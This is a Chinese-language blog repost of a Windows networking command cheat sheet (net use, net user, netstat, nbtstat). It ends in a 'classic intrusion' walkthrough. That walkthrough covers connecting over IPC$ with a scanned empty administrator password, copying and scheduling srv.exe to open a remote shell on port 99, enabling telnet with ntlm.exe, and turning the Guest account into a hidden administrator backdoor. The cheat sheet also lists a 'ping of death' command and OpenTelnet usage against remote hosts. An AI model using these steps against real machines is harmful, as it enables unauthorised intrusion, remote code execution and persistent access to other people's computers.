net use 訪問遠程電腦

net use \\ip\ipc$ " " /user:" " 建立IPC空連結

net use \\ip\ipc$ "密碼" /user:"使用者名稱" 建立IPC非空連結
net use h: \\ip\c$ "密碼" /user:"使用者名稱" 直接登陸後映射對方C：到本地為H:
net use h: \\ip\c$ 登陸後映射對方C：到本地為H:
net use \\ip\ipc$ /del 刪除IPC連結
net use h: /del 刪除映射對方到本地的為H:的映射

net user 使用者名稱　密碼　/add 建立使用者
net user guest /active:yes 啟用guest使用者
net user 查看有哪些使用者

net user 帳戶名稱 查看帳戶的屬性
net localgroup administrators 使用者名稱 /add把“使用者”添加到管理員中使其具有管理員權限,注意：administrator後加s用複數
net start 查看開啟了哪些服務
net start 服務名　 開啟服務；(如:net start telnet， net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間 
net time \\目標ip /set 設定本機電腦時間與“目標IP”主機的時間同步,加上參數/yes可取消確認資訊
net view 查看本地區域網路內開啟了哪些共用
net view \\ip 查看對方區域網路內開啟了哪些共用
net config 顯示系統網路設定

net logoff 中斷連線的共用
net pause 服務名 暫停某服務 
net send ip "文本資訊" 向對方發資訊
net ver 區域網路內正在使用的網路連接類型和資訊
net share 查看本地開啟的共用
net share ipc$ 開啟ipc$共用
net share ipc$ /del 刪除ipc$共用
net share c$ /del 刪除C：共用

net user guest 12345 用guest使用者登陸後用將密碼改為12345

net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些連接埠,常用netstat -an
netstat -n 查看連接埠的網路連接情況，常用netstat -an
netstat -v 查看進行中的工作
netstat -p 協議名 例：netstat -p tcq/ip 查看某協議使用方式（查看tcp/ip協議使用方式）
netstat -s 查看正在使用的所有協議使用方式
nbtstat -A ip對方136到139其中一個連接埠開了的話，就可查看對方最近登陸的使用者名稱（03前的為使用者名稱）-注意：參數-A要大寫
tracert -參數 ip(或電腦名稱) 跟蹤路由（資料包），參數：“-w數字”用於設定逾時間隔。
ping ip(或網域名稱)向對方主機發送預設大小為32位元組的資料，參數：“-l[空格]資料包大小”；“-n發送資料次數”；“-t”指一直ping。

ping -t -l 65550 ip 死亡之ping(發送大於64K的檔案並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 9598)查看本地ip地址，ipconfig可用參數“/all”顯示全部配置資訊
tlist -t 以樹行列表顯示進程(為系統的附加工具，預設是沒有安裝的，在安裝目錄的Support/tools檔案夾內)
kill -F進程名加-F參數後強制結束某進程(為系統的附加工具，預設是沒有安裝的，在安裝目錄的Support/tools檔案夾內)

del -F檔案名稱加-F參數後就可刪除唯讀檔案,/AR、/AH、/AS、/AA分別表示刪除唯讀、隱藏、系統、封存檔案，/A-R、/A-H、/A-S、/A-A表示刪除除唯讀、隱藏、系統、存檔以外的檔案。例如“DEL/AR*.*”表示刪除目前的目錄下所有唯讀檔案，“DEL/A-S *.*”表示刪除目前的目錄下除系統檔案以外的所有檔案

 

net use的使用

雜項
2008-01-1610:19:21 閱讀160評論0  字型大小：大中小 訂閱

老是忘了 net use 怎麼樣，今天在網上找一篇，貼在這，感謝原作者分享。

原文地址：http://zhidao.baidu.com/question/18772395.html

1)建立空串連:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)

2)建立非空串連:
net use \\IP\ipc$ "密碼" /user:"使用者名稱" (同樣有3個空格)

3)映射預設共用:
net use z: \\IP\c$ "密碼" /user:"使用者名稱" (即可將對方的c盤映射為自己的z盤，其他盤類推)
如果已經和目標建立了ipc$，則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$

4)刪除一個ipc$串連
net use \\IP\ipc$ /del

5)刪除共用映射
net use c: /del 刪除映射的c盤，其他盤類推
net use * /del 刪除全部,會有提示要求按y確認

3 查看遠程主機的共用資源（但看不到預設共用）
net view \\IP

4 查看本地主機的共用資源（可以看到本地的預設共用）
net share

5 得到遠程主機的使用者名稱列表
nbtstat -A IP

6 得到本地主機的使用者列表
net user

7 查看遠程主機的目前時間
net time \\IP

8 顯示本地主機當前服務
net start

9 啟動/關閉本地服務
net start 服務名 /y
net stop 服務名 /y

10 映射遠程共用:
net use z: \\IP\baby
此命令將共用名稱為baby的共用資源映射到z盤

11 刪除共用映射
net use c: /del 刪除映射的c盤，其他盤類推
net use * /del /y刪除全部

12 向遠程主機複製檔案
copy \路徑\srv.exe \\IP\共用目錄名，如：
copy ccbirds.exe \\*.*.*.*\c 即將目前的目錄下的檔案複製到對方c盤內

13 遠程添加計劃任務
at \\ip 時間 程式名，如：
at \\127.0.0.0 11:00 love.exe
注意：時間盡量使用24小時制；在系統預設搜尋路徑（比如system32/）下不用加路徑，否則必須加全路徑
14 開啟遠程主機的telnet
這裡要用到一個小程式：opentelnet.exe，各大下載網站都有，而且還需要滿足四個要求：

1）目標開啟了ipc$共用
2）你要擁有管理員密碼和帳號
3）目標開啟RemoteRegistry服務，使用者就該ntlm認證
4）對WIN2K/XP有效，NT未經測試
命令格式：OpenTelnet.exe \\server account psw NTLM認證方式 port
試例如下：c:\>OpenTelnet.exe \\*.*.*.* administrator "" 190

15 啟用使用者/加入Administrator 群組
1 net uesr account /active:yes
2 net localgroup administrators account /add

16 關閉遠程主機的telnet
同樣需要一個小程式：ResumeTelnet.exe
命令格式：ResumeTelnet.exe \\server account psw
試例如下：c:\>ResumeTelnet.exe \\*.*.*.* administrator""

17 刪除一個已建立的ipc$串連
net use \\IP\ipc$ /del

九 經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)

1. C:\>net use \\127.0.0.1\IPC$ ""/user:"admintitrators"
這是用《流光》掃到的使用者名稱是administrators，密碼為"空"的IP地址(空口令?哇,運氣好到家了)，如果是打算攻擊的話，就可以用這樣的命令來與127.0.0.1建立一個串連，因為密碼為"空"，所以第一個引號處就不用輸入，後面一個雙引號裡的是使用者名稱，輸入administrators，命令即可成功完成。
複製之前務必用net view \\IP這個命令看一下對方的共用情況
2. C:\>copy srv.exe \\127.0.0.1\admin$
先複製srv.exe上去，在流光的Tools目錄下就有（這裡的$是指admin使用者的c:\winnt\system32\，大家還可以使用c$、d$，意思是C盤與D盤，這看你要複製到什麼地方去了）。

3. C:\>net time \\127.0.0.1
查查時間，發現127.0.0.1 的目前時間是 2002/3/19 上午 11:00，命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧（這裡設定的時間要比主機時間快，不然你怎麼啟動啊，呵呵！）

5. C:\>net time \\127.0.0.1
再查查到時間沒有？如果127.0.0.1 的目前時間是 2002/3/19 上午 11:05，那就準備開始下面的命令。

6. C:\>telnet 127.0.0.1 99
這裡會用到Telnet命令吧，注意連接埠是99。Telnet預設的是23連接埠，但是我們使用的是SRV在對方電腦中為我們建立一個99連接埠的Shell。
雖然我們可以Telnet上去了，但是SRV是一次性的，下次登入還要再啟用！所以我們打算建立一個Telnet服務！這就要用到ntlm了

7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。

8. C:\WINNT\system32>ntlm
輸入ntlm啟動（這裡的C:\WINNT\system32>指的是對方電腦，運行ntlm其實是讓這個程式在對方電腦上運行）。當出現"DONE"的時候，就說明已經啟動正常。然後使用"netstart telnet"來開啟Telnet服務！

9. Telnet127.0.0.1，接著輸入使用者名稱與密碼就進入對方了，操作就像在DOS上操作一樣簡單！(然後你想做什麼?想做什麼就做什麼吧,哈哈)

為了以防萬一,我們再把guest啟用加到管理組
10. C:\>net user guest /active:yes
將對方的Guest使用者啟用

11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼

12. C:\>net localgroup administrators guest/add
將Guest變為Administrator^_^(如果管理員密碼更改，guest帳號沒改變的話，下次我們可以用guest再次訪問這台電腦)

另外,你也可以根據返回的錯誤號碼分析原因：

錯誤號碼5，拒絕訪問：很可能你使用的使用者不是管理員權限的，先提升許可權；
錯誤號碼51，Windows無法找到網路路徑：網路有問題；
錯誤號碼53，找不到網路路徑：ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（連接埠過濾）；
錯誤號碼67，找不到網路名稱：你的lanmanworkstation服務未啟動或者目標刪除了ipc$；
錯誤號碼1219，提供的憑據與已存在的憑據集衝突：你已經和對方建立了一個ipc$，請刪除再連；
錯誤號碼1326，未知的使用者名稱或錯誤密碼：原因很明顯了；
錯誤號碼1792，試圖登入，但是Net Logon 服務沒有啟動：目標NetLogon服務未啟動；
錯誤號碼2242，此使用者的密碼已經到期：目標有帳號策略，強制定期要求更改密碼